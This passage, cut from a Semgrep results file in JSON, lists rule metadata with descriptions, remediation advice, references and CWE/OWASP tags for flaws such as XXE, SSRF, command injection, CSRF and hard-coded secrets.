Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"'$VAR' is using the empty string as its default and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the default value to 'None' or call 'set_unusable_password()'."},"help":{"markdown":"'$VAR' is using the empty string as its default and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the default value to 'None' or call 'set_unusable_password()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.passwords.use-none-for-password-default.use-none-for-password-default)\n - [https://docs.djangoproject.com/en/3.0/ref/contrib/auth/#django.contrib.auth.models.User.set_password](https://docs.djangoproject.com/en/3.0/ref/contrib/auth/#django.contrib.auth.models.User.set_password)\n","text":"'$VAR' is using the empty string as its default and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the default value to 'None' or call 'set_unusable_password()'."},"helpUri":"https://semgrep.dev/r/python.django.security.passwords.use-none-for-password-default.use-none-for-password-default","id":"python.django.security.passwords.use-none-for-password-default.use-none-for-password-default","name":"python.django.security.passwords.use-none-for-password-default.use-none-for-password-default","properties":{"precision":"very-high","tags":["CWE-521: Weak Password Requirements","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.passwords.use-none-for-password-default.use-none-for-password-default"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user-controlled request data passed into '.write(...)'. This could be dangerous if a malicious actor is able to control data into sensitive files. For example, a malicious actor could force rolling of critical log files, or cause a denial-of-service by using up available disk space. Instead, ensure that request data is properly escaped or sanitized."},"help":{"markdown":"Found user-controlled request data passed into '.write(...)'. This could be dangerous if a malicious actor is able to control data into sensitive files. For example, a malicious actor could force rolling of critical log files, or cause a denial-of-service by using up available disk space. Instead, ensure that request data is properly escaped or sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.request-data-write.request-data-write)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found user-controlled request data passed into '.write(...)'. This could be dangerous if a malicious actor is able to control data into sensitive files. For example, a malicious actor could force rolling of critical log files, or cause a denial-of-service by using up available disk space. Instead, ensure that request data is properly escaped or sanitized."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.request-data-write.request-data-write","id":"python.django.security.injection.request-data-write.request-data-write","name":"python.django.security.injection.request-data-write.request-data-write","properties":{"precision":"very-high","tags":["CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.request-data-write.request-data-write"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-static command inside $PIPE. Audit the input to '$PIPE'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside $PIPE. Audit the input to '$PIPE'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside $PIPE. Audit the input to '$PIPE'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline","id":"ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline","name":"ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a class extending 'SafeString', 'SafeText' or 'SafeData'. These classes are for bypassing the escaping engine built in to Django and should not be used directly. Improper use of this class exposes your application to cross-site scripting (XSS) vulnerabilities. If you need this functionality, use 'mark_safe' instead and ensure no user data can reach it."},"help":{"markdown":"Found a class extending 'SafeString', 'SafeText' or 'SafeData'. These classes are for bypassing the escaping engine built in to Django and should not be used directly. Improper use of this class exposes your application to cross-site scripting (XSS) vulnerabilities. If you need this functionality, use 'mark_safe' instead and ensure no user data can reach it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.class-extends-safestring.class-extends-safestring)\n - [https://docs.djangoproject.com/en/3.1/howto/custom-template-tags/#filters-and-auto-escaping](https://docs.djangoproject.com/en/3.1/howto/custom-template-tags/#filters-and-auto-escaping)\n - [https://github.com/django/django/blob/f138e75910b1e541686c4dce3d8f467f6fc234cb/django/utils/safestring.py#L11](https://github.com/django/django/blob/f138e75910b1e541686c4dce3d8f467f6fc234cb/django/utils/safestring.py#L11)\n","text":"Found a class extending 'SafeString', 'SafeText' or 'SafeData'. These classes are for bypassing the escaping engine built in to Django and should not be used directly. Improper use of this class exposes your application to cross-site scripting (XSS) vulnerabilities. If you need this functionality, use 'mark_safe' instead and ensure no user data can reach it."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.class-extends-safestring.class-extends-safestring","id":"python.django.security.audit.xss.class-extends-safestring.class-extends-safestring","name":"python.django.security.audit.xss.class-extends-safestring.class-extends-safestring","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.class-extends-safestring.class-extends-safestring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for this SAXParserFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature `http://apache.org/xml/features/disallow-doctype-decl` to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features `http://xml.org/sax/features/external-general-entities` and `http://xml.org/sax/features/external-parameter-entities` to false. NOTE - The previous links are not meant to be clicked. They are the literal config key values that are supposed to be used to disable these features. For more information, see https://semgrep.dev/docs/cheat-sheets/java-xxe/#3a-documentbuilderfactory."},"help":{"markdown":"DOCTYPE declarations are enabled for this SAXParserFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature `http://apache.org/xml/features/disallow-doctype-decl` to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features `http://xml.org/sax/features/external-general-entities` and `http://xml.org/sax/features/external-parameter-entities` to false. NOTE - The previous links are not meant to be clicked. They are the literal config key values that are supposed to be used to disable these features. For more information, see https://semgrep.dev/docs/cheat-sheets/java-xxe/#3a-documentbuilderfactory.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for this SAXParserFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature `http://apache.org/xml/features/disallow-doctype-decl` to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features `http://xml.org/sax/features/external-general-entities` and `http://xml.org/sax/features/external-parameter-entities` to false. NOTE - The previous links are not meant to be clicked. They are the literal config key values that are supposed to be used to disable these features. For more information, see https://semgrep.dev/docs/cheat-sheets/java-xxe/#3a-documentbuilderfactory."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing","id":"java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing","name":"java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command.tainted-system-command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command.tainted-system-command","id":"java.micronaut.command-injection.tainted-system-command.tainted-system-command","name":"java.micronaut.command-injection.tainted-system-command.tainted-system-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.command-injection.tainted-system-command.tainted-system-command"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected controller which does not enable cross-site request forgery protections using 'protect_from_forgery'. Add 'protect_from_forgery :with => :exception' to your controller class."},"help":{"markdown":"Detected controller which does not enable cross-site request forgery protections using 'protect_from_forgery'. Add 'protect_from_forgery :with => :exception' to your controller class.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.missing-csrf-protection.missing-csrf-protection)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Detected controller which does not enable cross-site request forgery protections using 'protect_from_forgery'. Add 'protect_from_forgery :with => :exception' to your controller class."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.missing-csrf-protection.missing-csrf-protection","id":"ruby.lang.security.missing-csrf-protection.missing-csrf-protection","name":"ruby.lang.security.missing-csrf-protection.missing-csrf-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.missing-csrf-protection.missing-csrf-protection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret","id":"go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret","name":"go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host)\n - [https://goteleport.com/blog/ssrf-attacks/](https://goteleport.com/blog/ssrf-attacks/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host","id":"go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host","name":"go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.ssrf.gorilla-tainted-url-host.gorilla-tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url","id":"rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url","name":"rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.postgres.hardcoded-connection-url.hardcoded-connection-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","id":"java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","name":"java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxreader-xxe-parameter-entities.saxreader-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Ensure that the expiration date is set on all secrets"},"help":{"markdown":"Ensure that the expiration date is set on all secrets\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_secret#expiration_date](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_secret#expiration_date)\n - [https://docs.microsoft.com/en-us/azure/key-vault/secrets/about-secrets](https://docs.microsoft.com/en-us/azure/key-vault/secrets/about-secrets)\n","text":"Ensure that the expiration date is set on all secrets"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires","id":"terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires","name":"terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires","properties":{"precision":"very-high","tags":["CWE-262: Not Using Password Aging","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-ensure-secret-expires.keyvault-ensure-secret-expires"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Container or pod is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability."},"help":{"markdown":"Container or pod is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.privileged-container.privileged-container)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privileged](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privileged)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html)\n","text":"Container or pod is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.privileged-container.privileged-container","id":"yaml.kubernetes.security.privileged-container.privileged-container","name":"yaml.kubernetes.security.privileged-container.privileged-container","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.privileged-container.privileged-container"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks."},"help":{"markdown":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.path-traversal-open.path-traversal-open)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.path-traversal-open.path-traversal-open","id":"python.flask.security.injection.path-traversal-open.path-traversal-open","name":"python.flask.security.injection.path-traversal-open.path-traversal-open","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.path-traversal-open.path-traversal-open"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User input is passed to a function that executes a shell command. This can lead to remote code execution."},"help":{"markdown":"User input is passed to a function that executes a shell command. This can lead to remote code execution.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-exec.tainted-exec)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User input is passed to a function that executes a shell command. This can lead to remote code execution."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-exec.tainted-exec","id":"php.lang.security.injection.tainted-exec.tainted-exec","name":"php.lang.security.injection.tainted-exec.tainted-exec","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-exec.tainted-exec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using input or workflow parameters in here-scripts can lead to command injection or code injection. Convert the parameters to env variables instead."},"help":{"markdown":"Using input or workflow parameters in here-scripts can lead to command injection or code injection. Convert the parameters to env variables instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection)\n - [https://github.com/argoproj/argo-workflows/issues/5061](https://github.com/argoproj/argo-workflows/issues/5061)\n - [https://github.com/argoproj/argo-workflows/issues/5114#issue-808865370](https://github.com/argoproj/argo-workflows/issues/5114#issue-808865370)\n","text":"Using input or workflow parameters in here-scripts can lead to command injection or code injection. Convert the parameters to env variables instead."},"helpUri":"https://semgrep.dev/r/yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection","id":"yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection","name":"yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 – Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted 